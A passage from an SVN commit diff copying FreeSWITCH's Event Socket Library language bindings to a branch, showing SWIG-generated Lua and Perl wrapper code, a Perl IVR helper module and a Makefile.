+ * two-dimensional array. Each row corresponds to a type (there are the same
+ * number of rows as there are in the swig_type_initial array). Each entry in
+ * a column is one of the swig_cast_info structures for that type.
+ * The cast_initial array is actually an array of arrays, because each row has
+ * a variable number of columns. So to actually build the cast linked list,
+ * we find the array of casts associated with the type, and loop through it 
+ * adding the casts to the list. The one last trick we need to do is making
+ * sure the type pointer in the swig_cast_info struct is correct.
+ *
+ * First off, we lookup the cast->type name to see if it is already loaded. 
+ * There are three cases to handle:
+ *  1) If the cast->type has already been loaded AND the type we are adding
+ *     casting info to has not been loaded (it is in this module), THEN we
+ *     replace the cast->type pointer with the type pointer that has already
+ *     been loaded.
+ *  2) If BOTH types (the one we are adding casting info to, and the 
+ *     cast->type) are loaded, THEN the cast info has already been loaded by
+ *     the previous module so we just ignore it.
+ *  3) Finally, if cast->type has not already been loaded, then we add that
+ *     swig_cast_info to the linked list (because the cast->type) pointer will
+ *     be correct.
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#if 0
+} /* c-mode */
+#endif
+#endif
+
+#if 0
+#define SWIGRUNTIME_DEBUG
+#endif
+
+
+SWIGRUNTIME void
+SWIG_InitializeModule(void *clientdata) {
+  size_t i;
+  swig_module_info *module_head, *iter;
+  int found, init;
+
+  clientdata = clientdata;
+
+  /* check to see if the circular list has been setup, if not, set it up */
+  if (swig_module.next==0) {
+    /* Initialize the swig_module */
+    swig_module.type_initial = swig_type_initial;
+    swig_module.cast_initial = swig_cast_initial;
+    swig_module.next = &swig_module;
+    init = 1;
+  } else {
+    init = 0;
+  }
+
+  /* Try and load any already created modules */
+  module_head = SWIG_GetModule(clientdata);
+  if (!module_head) {
+    /* This is the first module loaded for this interpreter */
+    /* so set the swig module into the interpreter */
+    SWIG_SetModule(clientdata, &swig_module);
+    module_head = &swig_module;
+  } else {
+    /* the interpreter has loaded a SWIG module, but has it loaded this one? */
+    found=0;
+    iter=module_head;
+    do {
+      if (iter==&swig_module) {
+        found=1;
+        break;
+      }
+      iter=iter->next;
+    } while (iter!= module_head);
+
+    /* if the is found in the list, then all is done and we may leave */
+    if (found) return;
+    /* otherwise we must add out module into the list */
+    swig_module.next = module_head->next;
+    module_head->next = &swig_module;
+  }
+
+  /* When multiple interpeters are used, a module could have already been initialized in
+     a different interpreter, but not yet have a pointer in this interpreter.
+     In this case, we do not want to continue adding types... everything should be
+     set up already */
+  if (init == 0) return;
+
+  /* Now work on filling in swig_module.types */
+#ifdef SWIGRUNTIME_DEBUG
+  printf("SWIG_InitializeModule: size %d\n", swig_module.size);
+#endif
+  for (i = 0; i < swig_module.size; ++i) {
+    swig_type_info *type = 0;
+    swig_type_info *ret;
+    swig_cast_info *cast;
+  
+#ifdef SWIGRUNTIME_DEBUG
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+#endif
+
+    /* if there is another module already loaded */
+    if (swig_module.next != &swig_module) {
+      type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name);
+    }
+    if (type) {
+      /* Overwrite clientdata field */
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: found type %s\n", type->name);
+#endif
+      if (swig_module.type_initial[i]->clientdata) {
+	type->clientdata = swig_module.type_initial[i]->clientdata;
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name);
+#endif
+      }
+    } else {
+      type = swig_module.type_initial[i];
+    }
+
+    /* Insert casting types */
+    cast = swig_module.cast_initial[i];
+    while (cast->type) {
+    
+      /* Don't need to add information already in the list */
+      ret = 0;
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: look cast %s\n", cast->type->name);
+#endif
+      if (swig_module.next != &swig_module) {
+        ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name);
+#ifdef SWIGRUNTIME_DEBUG
+	if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name);
+#endif
+      }
+      if (ret) {
+	if (type == swig_module.type_initial[i]) {
+#ifdef SWIGRUNTIME_DEBUG
+	  printf("SWIG_InitializeModule: skip old type %s\n", ret->name);
+#endif
+	  cast->type = ret;
+	  ret = 0;
+	} else {
+	  /* Check for casting already in the list */
+	  swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type);
+#ifdef SWIGRUNTIME_DEBUG
+	  if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name);
+#endif
+	  if (!ocast) ret = 0;
+	}
+      }
+
+      if (!ret) {
+#ifdef SWIGRUNTIME_DEBUG
+	printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name);
+#endif
+        if (type->cast) {
+          type->cast->prev = cast;
+          cast->next = type->cast;
+        }
+        type->cast = cast;
+      }
+      cast++;
+    }
+    /* Set entry in modules->types array equal to the type */
+    swig_module.types[i] = type;
+  }
+  swig_module.types[i] = 0;
+
+#ifdef SWIGRUNTIME_DEBUG
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+  for (i = 0; i < swig_module.size; ++i) {
+    int j = 0;
+    swig_cast_info *cast = swig_module.cast_initial[i];
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+    while (cast->type) {
+      printf("SWIG_InitializeModule: cast type %s\n", cast->type->name);
+      cast++;
+      ++j;
+    }
+  printf("---- Total casts: %d\n",j);
+  }
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+#endif
+}
+
+/* This function will propagate the clientdata field of type to
+* any new swig_type_info structures that have been added into the list
+* of equivalent types.  It is like calling
+* SWIG_TypeClientData(type, clientdata) a second time.
+*/
+SWIGRUNTIME void
+SWIG_PropagateClientData(void) {
+  size_t i;
+  swig_cast_info *equiv;
+  static int init_run = 0;
+
+  if (init_run) return;
+  init_run = 1;
+
+  for (i = 0; i < swig_module.size; i++) {
+    if (swig_module.types[i]->clientdata) {
+      equiv = swig_module.types[i]->cast;
+      while (equiv) {
+        if (!equiv->converter) {
+          if (equiv->type && !equiv->type->clientdata)
+            SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata);
+        }
+        equiv = equiv->next;
+      }
+    }
+  }
+}
+
+#ifdef __cplusplus
+#if 0
+{ /* c-mode */
+#endif
+}
+#endif
+
+
+
+/* Forward declaration of where the user's %init{} gets inserted */
+void SWIG_init_user(lua_State* L );
+    
+#ifdef __cplusplus
+extern "C" {
+#endif
+/* this is the initialization function
+  added at the very end of the code
+  the function is always called SWIG_init, but an eariler #define will rename it
+*/
+SWIGEXPORT int SWIG_init(lua_State* L)
+{
+  int i;
+  /* start with global table */
+  lua_pushvalue(L,LUA_GLOBALSINDEX);
+  /* SWIG's internal initalisation */
+  SWIG_InitializeModule((void*)L);
+  SWIG_PropagateClientData();
+  /* add a global fn */
+  SWIG_Lua_add_function(L,"swig_type",SWIG_Lua_type);
+  SWIG_Lua_add_function(L,"swig_equals",SWIG_Lua_equal);
+  /* begin the module (its a table with the same name as the module) */
+  SWIG_Lua_module_begin(L,SWIG_name);
+  /* add commands/functions */
+  for (i = 0; swig_commands[i].name; i++){
+    SWIG_Lua_module_add_function(L,swig_commands[i].name,swig_commands[i].func);
+  }
+  /* add variables */
+  for (i = 0; swig_variables[i].name; i++){
+    SWIG_Lua_module_add_variable(L,swig_variables[i].name,swig_variables[i].get,swig_variables[i].set);
+  }
+  /* set up base class pointers (the hierachy) */
+  for (i = 0; swig_types[i]; i++){
+    if (swig_types[i]->clientdata){
+      SWIG_Lua_init_base_class(L,(swig_lua_class*)(swig_types[i]->clientdata));
+    }
+  }
+  /* additional registration structs & classes in lua */
+  for (i = 0; swig_types[i]; i++){
+    if (swig_types[i]->clientdata){
+      SWIG_Lua_class_register(L,(swig_lua_class*)(swig_types[i]->clientdata));
+    }
+  }
+  /* constants */
+  SWIG_Lua_InstallConstants(L,swig_constants);
+  /* invoke user-specific initialization */
+  SWIG_init_user(L);
+  /* end module */
+  lua_pop(L,1);  /* tidy stack (remove module table)*/
+  lua_pop(L,1);  /* tidy stack (remove global table)*/
+  return 1;
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+
+const char* SWIG_LUACODE=
+  "";
+
+void SWIG_init_user(lua_State* L)
+{
+  /* exec Lua code if applicable */
+  SWIG_Lua_dostring(L,SWIG_LUACODE);
+}
+

Copied: freeswitch/branches/seven/libs/esl/perl (from rev 14471, freeswitch/trunk/libs/esl/perl)

Copied: freeswitch/branches/seven/libs/esl/perl/ESL (from rev 14471, freeswitch/trunk/libs/esl/perl/ESL)

Deleted: freeswitch/branches/seven/libs/esl/perl/ESL/IVR.pm

Copied: freeswitch/branches/seven/libs/esl/perl/ESL/IVR.pm (from rev 14471, freeswitch/trunk/libs/esl/perl/ESL/IVR.pm) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/ESL/IVR.pm	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/ESL/IVR.pm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,116 @@
+package ESL::IVR;
+use ESL;
+use Data::Dumper;
+
+sub new($$) {
+  my $proto = shift;
+  my $class = ref($proto) || $proto;
+  my $self = {};
+  
+  $self->{_esl} = new ESL::ESLconnection(fileno(STDIN));
+  $self->{_info} = $self->{_esl}->getInfo();
+  $self->{_uuid} = $self->{_info}->getHeader("unique-id");
+
+  return bless($self, $class);
+
+}
+
+sub getHeader($;) {
+  my $self = shift;
+
+  return $self->{_info} ? $self->{_info}->getHeader(shift) : undef;
+}
+
+sub execute($;) {
+  my $self = shift;
+  return $self->{_esl}->execute(@_);
+}
+
+sub api($;) {
+  my $self = shift;
+  return $self->{_esl}->api(@_);
+}
+
+sub disconnect($;) {
+  my $self = shift;
+  return $self->{_esl}->disconnect(@_);
+}
+
+sub getVar($;) {
+  my $self = shift;
+  my ($var) = @_;
+  my $e = $self->api("uuid_getvar", "$self->{_uuid} $var");
+  my $input;
+
+  if ($e) {
+    $input = $e->getBody();
+    if ($input && $input eq "_undef_") {
+      $input = undef;
+    }
+  }
+  
+  return $input;  
+
+}
+
+sub setVar($;) {
+  my $self = shift;
+  my ($var, $val) = @_;
+  my $e = $self->api("uuid_setvar", "$self->{_uuid} $var $val");
+  my $input;
+  if ($e) {
+    $input = $e->getBody() . "\n";
+    if ($input eq "_undef_") {
+      $input = undef;
+    }
+  }
+
+  chomp $input;
+
+  return $input;
+
+}
+
+sub playAndGetDigits($;) {
+  my $self = shift;
+  my ($min, $max, $tries, $to, $term, $file, $invalid_file, $var, $regex) = @_;
+
+  if (!$self->{_esl}->connected()) {
+    return undef;
+  }
+  
+  $self->execute("play_and_get_digits", "$min $max $tries $to $term $file $invalid_file $var $regex");
+
+  return $self->getVar($var);
+
+}
+
+sub read($;) {
+  my $self = shift;
+  my ($min, $max, $file, $var, $to, $term) = @_;
+  
+  if (!$self->{_esl}->connected()) {
+    return undef;
+  }
+
+  $self->execute("read", "$min $max $file $var $to $term");
+
+  return $self->getVar($var);
+
+}
+
+sub playback($;) {
+  my $self = shift;
+  my ($file) = @_;
+
+  if (!$self->{_esl}->connected()) {
+    return undef;
+  }
+
+  $self->execute("playback", $file);
+  return $self->getVar("playback_terminators_used");
+  
+}
+
+
+1;

Deleted: freeswitch/branches/seven/libs/esl/perl/ESL.pm

Copied: freeswitch/branches/seven/libs/esl/perl/ESL.pm (from rev 14471, freeswitch/trunk/libs/esl/perl/ESL.pm) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/ESL.pm	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/ESL.pm	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,165 @@
+# This file was automatically generated by SWIG (http://www.swig.org).
+# Version 1.3.35
+#
+# Don't modify this file, modify the SWIG interface instead.
+
+package ESL;
+require Exporter;
+require DynaLoader;
+@ISA = qw(Exporter DynaLoader);
+package ESLc;
+bootstrap ESL;
+package ESL;
+@EXPORT = qw( );
+
+# ---------- BASE METHODS -------------
+
+package ESL;
+
+sub TIEHASH {
+    my ($classname,$obj) = @_;
+    return bless $obj, $classname;
+}
+
+sub CLEAR { }
+
+sub FIRSTKEY { }
+
+sub NEXTKEY { }
+
+sub FETCH {
+    my ($self,$field) = @_;
+    my $member_func = "swig_${field}_get";
+    $self->$member_func();
+}
+
+sub STORE {
+    my ($self,$field,$newval) = @_;
+    my $member_func = "swig_${field}_set";
+    $self->$member_func($newval);
+}
+
+sub this {
+    my $ptr = shift;
+    return tied(%$ptr);
+}
+
+
+# ------- FUNCTION WRAPPERS --------
+
+package ESL;
+
+*eslSetLogLevel = *ESLc::eslSetLogLevel;
+
+############# Class : ESL::ESLevent ##############
+
+package ESL::ESLevent;
+use vars qw(@ISA %OWNER %ITERATORS %BLESSEDMEMBERS);
+@ISA = qw( ESL );
+%OWNER = ();
+%ITERATORS = ();
+*swig_event_get = *ESLc::ESLevent_event_get;
+*swig_event_set = *ESLc::ESLevent_event_set;
+*swig_serialized_string_get = *ESLc::ESLevent_serialized_string_get;
+*swig_serialized_string_set = *ESLc::ESLevent_serialized_string_set;
+*swig_mine_get = *ESLc::ESLevent_mine_get;
+*swig_mine_set = *ESLc::ESLevent_mine_set;
+sub new {
+    my $pkg = shift;
+    my $self = ESLc::new_ESLevent(@_);
+    bless $self, $pkg if defined($self);
+}
+
+sub DESTROY {
+    return unless $_[0]->isa('HASH');
+    my $self = tied(%{$_[0]});
+    return unless defined $self;
+    delete $ITERATORS{$self};
+    if (exists $OWNER{$self}) {
+        ESLc::delete_ESLevent($self);
+        delete $OWNER{$self};
+    }
+}
+
+*serialize = *ESLc::ESLevent_serialize;
+*setPriority = *ESLc::ESLevent_setPriority;
+*getHeader = *ESLc::ESLevent_getHeader;
+*getBody = *ESLc::ESLevent_getBody;
+*getType = *ESLc::ESLevent_getType;
+*addBody = *ESLc::ESLevent_addBody;
+*addHeader = *ESLc::ESLevent_addHeader;
+*delHeader = *ESLc::ESLevent_delHeader;
+*firstHeader = *ESLc::ESLevent_firstHeader;
+*nextHeader = *ESLc::ESLevent_nextHeader;
+sub DISOWN {
+    my $self = shift;
+    my $ptr = tied(%$self);
+    delete $OWNER{$ptr};
+}
+
+sub ACQUIRE {
+    my $self = shift;
+    my $ptr = tied(%$self);
+    $OWNER{$ptr} = 1;
+}
+
+
+############# Class : ESL::ESLconnection ##############
+
+package ESL::ESLconnection;
+use vars qw(@ISA %OWNER %ITERATORS %BLESSEDMEMBERS);
+@ISA = qw( ESL );
+%OWNER = ();
+%ITERATORS = ();
+sub new {
+    my $pkg = shift;
+    my $self = ESLc::new_ESLconnection(@_);
+    bless $self, $pkg if defined($self);
+}
+
+sub DESTROY {
+    return unless $_[0]->isa('HASH');
+    my $self = tied(%{$_[0]});
+    return unless defined $self;
+    delete $ITERATORS{$self};
+    if (exists $OWNER{$self}) {
+        ESLc::delete_ESLconnection($self);
+        delete $OWNER{$self};
+    }
+}
+
+*socketDescriptor = *ESLc::ESLconnection_socketDescriptor;
+*connected = *ESLc::ESLconnection_connected;
+*getInfo = *ESLc::ESLconnection_getInfo;
+*send = *ESLc::ESLconnection_send;
+*sendRecv = *ESLc::ESLconnection_sendRecv;
+*api = *ESLc::ESLconnection_api;
+*bgapi = *ESLc::ESLconnection_bgapi;
+*sendEvent = *ESLc::ESLconnection_sendEvent;
+*recvEvent = *ESLc::ESLconnection_recvEvent;
+*recvEventTimed = *ESLc::ESLconnection_recvEventTimed;
+*filter = *ESLc::ESLconnection_filter;
+*events = *ESLc::ESLconnection_events;
+*execute = *ESLc::ESLconnection_execute;
+*executeAsync = *ESLc::ESLconnection_executeAsync;
+*setAsyncExecute = *ESLc::ESLconnection_setAsyncExecute;
+*setEventLock = *ESLc::ESLconnection_setEventLock;
+*disconnect = *ESLc::ESLconnection_disconnect;
+sub DISOWN {
+    my $self = shift;
+    my $ptr = tied(%$self);
+    delete $OWNER{$ptr};
+}
+
+sub ACQUIRE {
+    my $self = shift;
+    my $ptr = tied(%$self);
+    $OWNER{$ptr} = 1;
+}
+
+
+# ------- VARIABLE STUBS --------
+
+package ESL;
+
+1;

Deleted: freeswitch/branches/seven/libs/esl/perl/Makefile

Copied: freeswitch/branches/seven/libs/esl/perl/Makefile (from rev 14471, freeswitch/trunk/libs/esl/perl/Makefile) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+PERL=$(shell which perl)
+PERL_LIBDIR=-L$(shell perl -MConfig -e 'print $$Config{archlib}')/CORE
+PERL_LIBS=$(shell perl -MConfig -e 'print $$Config{libs}')
+LOCAL_CFLAGS=-w -DMULTIPLICITY $(shell $(PERL) -MExtUtils::Embed -e ccopts) -DEMBED_PERL
+LOCAL_LDFLAGS=$(shell $(PERL) -MExtUtils::Embed -e ldopts) $(shell $(PERL) -MConfig -e 'print $$Config{libs}')
+GCC_WARNING_JUNK=-w
+PERL_INC=$(shell $(PERL) -MExtUtils::Embed -e perl_inc)
+all: ESL.so
+
+esl_wrap.cpp:
+	swig -module ESL -shadow -perl5 -c++ -DMULTIPLICITY -I../src/include -o esl_wrap.cpp ../ESL.i
+
+perlxsi.c:
+	$(PERL) -MExtUtils::Embed -e xsinit -- -o perlxsi.c
+
+perlxsi.o: perlxsi.c
+	$(CC) $(CC_CFLAGS) $(CFLAGS) $(LOCAL_CFLAGS) -c perlxsi.c -o perlxsi.o
+
+esl_wrap.o: esl_wrap.cpp
+	$(CXX) $(CXX_CFLAGS) $(CXXFLAGS) $(GCC_WARNING_JUNK) $(PERL_INC) -c esl_wrap.cpp -o esl_wrap.o
+
+ESL.so: esl_wrap.o perlxsi.o
+	$(CXX) $(SOLINK) esl_wrap.o perlxsi.o $(MYLIB) $(LOCAL_LDFLAGS) -o ESL.so -L. $(LIBS)
+
+clean:
+	rm -f *.o *.so *~
+
+swigclean:
+	rm -f esl_wrap.* ESL.so ESL.pm perlxsi.*
+
+reswig:	swigclean esl_wrap.cpp perlxsi.c
+

Deleted: freeswitch/branches/seven/libs/esl/perl/esl_wrap.cpp

Copied: freeswitch/branches/seven/libs/esl/perl/esl_wrap.cpp (from rev 14471, freeswitch/trunk/libs/esl/perl/esl_wrap.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/perl/esl_wrap.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/perl/esl_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3862 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ * 
+ * This file is not intended to be easily readable and contains a number of 
+ * coding conventions designed to improve portability and efficiency. Do not make
+ * changes to this file unless you know what you are doing--modify the SWIG 
+ * interface file instead. 
+ * ----------------------------------------------------------------------------- */
+
+#define SWIGPERL
+#define SWIG_CASTRANK_MODE
+
+#ifdef __cplusplus
+template<typename T> class SwigValueWrapper {
+    T *tt;
+public:
+    SwigValueWrapper() : tt(0) { }
+    SwigValueWrapper(const SwigValueWrapper<T>& rhs) : tt(new T(*rhs.tt)) { }
+    SwigValueWrapper(const T& t) : tt(new T(t)) { }
+    ~SwigValueWrapper() { delete tt; } 
+    SwigValueWrapper& operator=(const T& t) { delete tt; tt = new T(t); return *this; }
+    operator T&() const { return *tt; }
+    T *operator&() { return tt; }
+private:
+    SwigValueWrapper& operator=(const SwigValueWrapper<T>& rhs);
+};
+
+template <typename T> T SwigValueInit() {
+  return T();
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ *  This section contains generic SWIG labels for method/variable
+ *  declarations/attributes, and other compiler dependent labels.
+ * ----------------------------------------------------------------------------- */
+
+/* template workaround for compilers that cannot correctly implement the C++ standard */
+#ifndef SWIGTEMPLATEDISAMBIGUATOR
+# if defined(__SUNPRO_CC) && (__SUNPRO_CC <= 0x560)
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# elif defined(__HP_aCC)
+/* Needed even with `aCC -AA' when `aCC -V' reports HP ANSI C++ B3910B A.03.55 */
+/* If we find a maximum version that requires this, the test would be __HP_aCC <= 35500 for A.03.55 */
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# else
+#  define SWIGTEMPLATEDISAMBIGUATOR
+# endif
+#endif
+
+/* inline attribute */
+#ifndef SWIGINLINE
+# if defined(__cplusplus) || (defined(__GNUC__) && !defined(__STRICT_ANSI__))
+#   define SWIGINLINE inline
+# else
+#   define SWIGINLINE
+# endif
+#endif
+
+/* attribute recognised by some compilers to avoid 'unused' warnings */
+#ifndef SWIGUNUSED
+# if defined(__GNUC__)
+#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
+#     define SWIGUNUSED __attribute__ ((__unused__)) 
+#   else
+#     define SWIGUNUSED
+#   endif
+# elif defined(__ICC)
+#   define SWIGUNUSED __attribute__ ((__unused__)) 
+# else
+#   define SWIGUNUSED 
+# endif
+#endif
+
+#ifndef SWIGUNUSEDPARM
+# ifdef __cplusplus
+#   define SWIGUNUSEDPARM(p)
+# else
+#   define SWIGUNUSEDPARM(p) p SWIGUNUSED 
+# endif
+#endif
+
+/* internal SWIG method */
+#ifndef SWIGINTERN
+# define SWIGINTERN static SWIGUNUSED
+#endif
+
+/* internal inline SWIG method */
+#ifndef SWIGINTERNINLINE
+# define SWIGINTERNINLINE SWIGINTERN SWIGINLINE
+#endif
+
+/* exporting methods */
+#if (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)
+#  ifndef GCC_HASCLASSVISIBILITY
+#    define GCC_HASCLASSVISIBILITY
+#  endif
+#endif
+
+#ifndef SWIGEXPORT
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   if defined(STATIC_LINKED)
+#     define SWIGEXPORT
+#   else
+#     define SWIGEXPORT __declspec(dllexport)
+#   endif
+# else
+#   if defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
+#     define SWIGEXPORT __attribute__ ((visibility("default")))
+#   else
+#     define SWIGEXPORT
+#   endif
+# endif
+#endif
+
+/* calling conventions for Windows */
+#ifndef SWIGSTDCALL
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   define SWIGSTDCALL __stdcall
+# else
+#   define SWIGSTDCALL
+# endif 
+#endif
+
+/* Deal with Microsoft's attempt at deprecating C standard runtime functions */
+#if !defined(SWIG_NO_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)
+# define _CRT_SECURE_NO_DEPRECATE
+#endif
+
+/* Deal with Microsoft's attempt at deprecating methods in the standard C++ library */
+#if !defined(SWIG_NO_SCL_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_SCL_SECURE_NO_DEPRECATE)
+# define _SCL_SECURE_NO_DEPRECATE
+#endif
+
+
+/* -----------------------------------------------------------------------------
+ * swigrun.swg
+ *
+ * This file contains generic CAPI SWIG runtime support for pointer
+ * type checking.
+ * ----------------------------------------------------------------------------- */
+
+/* This should only be incremented when either the layout of swig_type_info changes,
+   or for whatever reason, the runtime changes incompatibly */
+#define SWIG_RUNTIME_VERSION "4"
+
+/* define SWIG_TYPE_TABLE_NAME as "SWIG_TYPE_TABLE" */
+#ifdef SWIG_TYPE_TABLE
+# define SWIG_QUOTE_STRING(x) #x
+# define SWIG_EXPAND_AND_QUOTE_STRING(x) SWIG_QUOTE_STRING(x)
+# define SWIG_TYPE_TABLE_NAME SWIG_EXPAND_AND_QUOTE_STRING(SWIG_TYPE_TABLE)
+#else
+# define SWIG_TYPE_TABLE_NAME
+#endif
+
+/*
+  You can use the SWIGRUNTIME and SWIGRUNTIMEINLINE macros for
+  creating a static or dynamic library from the swig runtime code.
+  In 99.9% of the cases, swig just needs to declare them as 'static'.
+  
+  But only do this if is strictly necessary, ie, if you have problems
+  with your compiler or so.
+*/
+
+#ifndef SWIGRUNTIME
+# define SWIGRUNTIME SWIGINTERN
+#endif
+
+#ifndef SWIGRUNTIMEINLINE
+# define SWIGRUNTIMEINLINE SWIGRUNTIME SWIGINLINE
+#endif
+
+/*  Generic buffer size */
+#ifndef SWIG_BUFFER_SIZE
+# define SWIG_BUFFER_SIZE 1024
+#endif
+
+/* Flags for pointer conversions */
+#define SWIG_POINTER_DISOWN        0x1
+#define SWIG_CAST_NEW_MEMORY       0x2
+
+/* Flags for new pointer objects */
+#define SWIG_POINTER_OWN           0x1
+
+
+/* 
+   Flags/methods for returning states.
+   
+   The swig conversion methods, as ConvertPtr, return and integer 
+   that tells if the conversion was successful or not. And if not,
+   an error code can be returned (see swigerrors.swg for the codes).
+   
+   Use the following macros/flags to set or process the returning
+   states.
+   
+   In old swig versions, you usually write code as:
+
+     if (SWIG_ConvertPtr(obj,vptr,ty.flags) != -1) {
+       // success code
+     } else {
+       //fail code
+     }
+
+   Now you can be more explicit as:
+
+    int res = SWIG_ConvertPtr(obj,vptr,ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+    } else {
+      // fail code
+    }
+
+   that seems to be the same, but now you can also do
+
+    Type *ptr;
+    int res = SWIG_ConvertPtr(obj,(void **)(&ptr),ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+      if (SWIG_IsNewObj(res) {
+        ...
+	delete *ptr;
+      } else {
+        ...
+      }
+    } else {
+      // fail code
+    }
+    
+   I.e., now SWIG_ConvertPtr can return new objects and you can
+   identify the case and take care of the deallocation. Of course that
+   requires also to SWIG_ConvertPtr to return new result values, as
+
+      int SWIG_ConvertPtr(obj, ptr,...) {         
+        if (<obj is ok>) {			       
+          if (<need new object>) {		       
+            *ptr = <ptr to new allocated object>; 
+            return SWIG_NEWOBJ;		       
+          } else {				       
+            *ptr = <ptr to old object>;	       
+            return SWIG_OLDOBJ;		       
+          } 				       
+        } else {				       
+          return SWIG_BADOBJ;		       
+        }					       
+      }
+
+   Of course, returning the plain '0(success)/-1(fail)' still works, but you can be
+   more explicit by returning SWIG_BADOBJ, SWIG_ERROR or any of the
+   swig errors code.
+
+   Finally, if the SWIG_CASTRANK_MODE is enabled, the result code
+   allows to return the 'cast rank', for example, if you have this
+
+       int food(double)
+       int fooi(int);
+
+   and you call
+ 
+      food(1)   // cast rank '1'  (1 -> 1.0)
+      fooi(1)   // cast rank '0'
+
+   just use the SWIG_AddCast()/SWIG_CheckState()
+
+
+ */
+#define SWIG_OK                    (0) 
+#define SWIG_ERROR                 (-1)
+#define SWIG_IsOK(r)               (r >= 0)
+#define SWIG_ArgError(r)           ((r != SWIG_ERROR) ? r : SWIG_TypeError)  
+
+/* The CastRankLimit says how many bits are used for the cast rank */
+#define SWIG_CASTRANKLIMIT         (1 << 8)
+/* The NewMask denotes the object was created (using new/malloc) */
+#define SWIG_NEWOBJMASK            (SWIG_CASTRANKLIMIT  << 1)
+/* The TmpMask is for in/out typemaps that use temporal objects */
+#define SWIG_TMPOBJMASK            (SWIG_NEWOBJMASK << 1)
+/* Simple returning values */
+#define SWIG_BADOBJ                (SWIG_ERROR)
+#define SWIG_OLDOBJ                (SWIG_OK)
+#define SWIG_NEWOBJ                (SWIG_OK | SWIG_NEWOBJMASK)
+#define SWIG_TMPOBJ                (SWIG_OK | SWIG_TMPOBJMASK)
+/* Check, add and del mask methods */
+#define SWIG_AddNewMask(r)         (SWIG_IsOK(r) ? (r | SWIG_NEWOBJMASK) : r)
+#define SWIG_DelNewMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_NEWOBJMASK) : r)
+#define SWIG_IsNewObj(r)           (SWIG_IsOK(r) && (r & SWIG_NEWOBJMASK))
+#define SWIG_AddTmpMask(r)         (SWIG_IsOK(r) ? (r | SWIG_TMPOBJMASK) : r)
+#define SWIG_DelTmpMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_TMPOBJMASK) : r)
+#define SWIG_IsTmpObj(r)           (SWIG_IsOK(r) && (r & SWIG_TMPOBJMASK))
+
+
+/* Cast-Rank Mode */
+#if defined(SWIG_CASTRANK_MODE)
+#  ifndef SWIG_TypeRank
+#    define SWIG_TypeRank             unsigned long
+#  endif
+#  ifndef SWIG_MAXCASTRANK            /* Default cast allowed */
+#    define SWIG_MAXCASTRANK          (2)
+#  endif
+#  define SWIG_CASTRANKMASK          ((SWIG_CASTRANKLIMIT) -1)
+#  define SWIG_CastRank(r)           (r & SWIG_CASTRANKMASK)
+SWIGINTERNINLINE int SWIG_AddCast(int r) { 
+  return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r;
+}
+SWIGINTERNINLINE int SWIG_CheckState(int r) { 
+  return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; 
+}
+#else /* no cast-rank mode */
+#  define SWIG_AddCast
+#  define SWIG_CheckState(r) (SWIG_IsOK(r) ? 1 : 0)
+#endif
+
+
+
+
+#include <string.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef void *(*swig_converter_func)(void *, int *);
+typedef struct swig_type_info *(*swig_dycast_func)(void **);
+
+/* Structure to store information on one type */
+typedef struct swig_type_info {
+  const char             *name;			/* mangled name of this type */
+  const char             *str;			/* human readable name of this type */
+  swig_dycast_func        dcast;		/* dynamic cast function down a hierarchy */
+  struct swig_cast_info  *cast;			/* linked list of types that can cast into this type */
+  void                   *clientdata;		/* language specific type data */
+  int                    owndata;		/* flag if the structure owns the clientdata */
+} swig_type_info;
+
+/* Structure to store a type and conversion function used for casting */
+typedef struct swig_cast_info {
